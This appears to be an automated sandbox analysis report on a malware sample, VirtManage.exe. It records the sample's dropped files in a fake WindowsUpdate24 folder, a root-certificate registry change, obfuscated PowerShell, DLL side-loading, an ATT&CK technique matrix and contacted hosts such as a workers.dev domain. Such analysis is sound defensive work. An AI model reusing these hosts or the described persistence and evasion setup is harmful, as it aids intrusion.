Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: C:\Windows\SysWOW64\msiexec.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\503006091D97D4F5AE39F7CBE7927D7D652D3431 BlobJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0049C5F0 sqlite3_db_handle,sqlite3_bind_parameter_count,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_prepare_v2,sqlite3_bind_blob,sqlite3_bind_text,sqlite3_step,sqlite3_column_text,sqlite3_column_type,sqlite3_step,gcry_free,sqlite3_reset,sqlite3_errstr,strlen,sqlite3_malloc,memcpy,sqlite3_column_count,gcry_xmalloc,sqlite3_column_name,sqlite3_errmsg,strlen,sqlite3_malloc,memcpy,sqlite3_finalize,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,gpgrt_log_fatal,gpgrt_log_fatal,strlen,_gpg_w32_gettext,2_2_0049C5F0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004AC8D0 _gpg_w32_bindtextdomain,_gpg_w32_textdomain,2_2_004AC8D0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0049C5F0 sqlite3_db_handle,sqlite3_bind_parameter_count,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_prepare_v2,sqlite3_bind_blob,sqlite3_bind_text,sqlite3_step,sqlite3_column_text,sqlite3_column_type,sqlite3_step,gcry_free,sqlite3_reset,sqlite3_errstr,strlen,sqlite3_malloc,memcpy,sqlite3_column_count,gcry_xmalloc,sqlite3_column_name,sqlite3_errmsg,strlen,sqlite3_malloc,memcpy,sqlite3_finalize,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,gpgrt_log_fatal,gpgrt_log_fatal,strlen,_gpg_w32_gettext,4_2_0049C5F0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004AC8D0 _gpg_w32_bindtextdomain,_gpg_w32_textdomain,4_2_004AC8D0

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire Infrastructure1
Replication Through Removable Media		1
Native API		1
DLL Side-Loading		1
DLL Side-Loading		1
Disable or Modify Tools		OS Credential Dumping11
Peripheral Device Discovery		Remote Services1
Archive Collected Data		1
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts112
Command and Scripting Interpreter		1
DLL Search Order Hijacking		1
DLL Search Order Hijacking		21
Deobfuscate/Decode Files or Information		LSASS Memory2
File and Directory Discovery		Remote Desktop Protocol1
Clipboard Data		21
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Service Execution		1
Windows Service		1
Access Token Manipulation		3
Obfuscated Files or Information		Security Account Manager115
System Information Discovery		SMB/Windows Admin SharesData from Network Shared Drive2
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal Accounts2
PowerShell		1
Office Application Startup		1
Windows Service		1
DLL Side-Loading		NTDS21
Security Software Discovery		Distributed Component Object ModelInput Capture3
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchd1
Registry Run Keys / Startup Folder		11
Process Injection		1
DLL Search Order Hijacking		LSA Secrets1
Process Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
Registry Run Keys / Startup Folder		1
Masquerading		Cached Domain Credentials121
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items121
Virtualization/Sandbox Evasion		DCSync1
Application Window Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Access Token Manipulation		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
Process Injection		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1632487 Sample: VirtManage.exe Startdate: 08/03/2025 Architecture: WINDOWS Score: 42 90 ec2-52-14-160-176.us-east-2.compute.amazonaws.com 2->90 92 cdn-app-web2.lenete5970.workers.dev 2->92 106 Antivirus detection for dropped file 2->106 108 Multi AV Scanner detection for dropped file 2->108 110 .NET source code contains a domain name check 2->110 112 Sigma detected: Dot net compiler compiles file from suspicious location 2->112 10 VirtManage.exe 2 36 2->10         started        13 oleview.exe 2->13         started        16 msiexec.exe 2->16         started        signatures3 process4 file5 78 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 10->78 dropped 80 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 10->80 dropped 82 C:\ProgramData\Microsoft\...\zlib1.dll, PE32 10->82 dropped 84 9 other malicious files 10->84 dropped 18 oleview.exe 10->18         started        21 7za.exe 6 10->21         started        24 msiexec.exe 11 10->24         started        30 9 other processes 10->30 114 Suspicious powershell command line found 13->114 116 Obfuscated command line found 13->116 26 powershell.exe 13->26         started        28 msiexec.exe 1 1 16->28         started        signatures6 process7 file8 94 Suspicious powershell command line found 18->94 96 Obfuscated command line found 18->96 98 Encrypted powershell cmdline option found 18->98 32 powershell.exe 18->32         started        64 C:\ProgramData\Microsoft\...\oleview.exe, PE32+ 21->64 dropped 66 C:\ProgramData\Microsoft\...\aclui.dll, PE32+ 21->66 dropped 68 C:\ProgramData\Microsoft\...\aclui-2.dll, PE32+ 21->68 dropped 37 conhost.exe 21->37         started        70 C:\Users\user\AppData\Local\...\MSI4C79.tmp, PE32 24->70 dropped 72 C:\Users\user\AppData\Local\...\MSI4796.tmp, PE32 24->72 dropped 100 Loading BitLocker PowerShell Module 26->100 39 conhost.exe 26->39         started        41 WmiPrvSE.exe 28->41         started        74 C:\ProgramData\Microsoft\...\7za.exe, PE32+ 30->74 dropped 76 C:\ProgramData\Microsoft\...\7za.dll, PE32+ 30->76 dropped 43 w32tm.exe 1 30->43         started        45 conhost.exe 30->45         started        47 conhost.exe 30->47         started        49 7 other processes 30->49 signatures9 process10 dnsIp11 86 cdn-app-web2.lenete5970.workers.dev 104.21.62.135, 443, 49709, 49710 CLOUDFLARENETUS United States 32->86 60 C:\Users\user\AppData\...\r5i403kd.cmdline, Unicode 32->60 dropped 102 Uses whoami command line tool to query computer and username 32->102 104 Loading BitLocker PowerShell Module 32->104 51 csc.exe 32->51         started        54 conhost.exe 32->54         started        56 whoami.exe 32->56         started        88 ec2-52-14-160-176.us-east-2.compute.amazonaws.com 52.14.160.176, 123 AMAZON-02US United States 43->88 file12 signatures13 process14 file15 62 C:\Users\user\AppData\Local\...\r5i403kd.dll, PE32 51->62 dropped 58 cvtres.exe 51->58         started        process16

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.